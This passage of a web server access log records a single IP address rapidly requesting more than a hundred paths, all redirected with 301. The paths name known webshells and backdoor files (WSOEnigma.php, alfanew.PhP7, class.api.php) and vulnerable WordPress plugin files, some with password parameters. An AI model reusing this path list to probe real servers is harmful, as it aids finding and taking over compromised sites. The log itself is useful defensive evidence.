Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:29 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:30 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:31 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:31 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:31 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:31 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:31 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:31 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:32 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:33 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:34 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:35 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:36 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:37 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:38 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:39 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:40 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:41 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:42 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 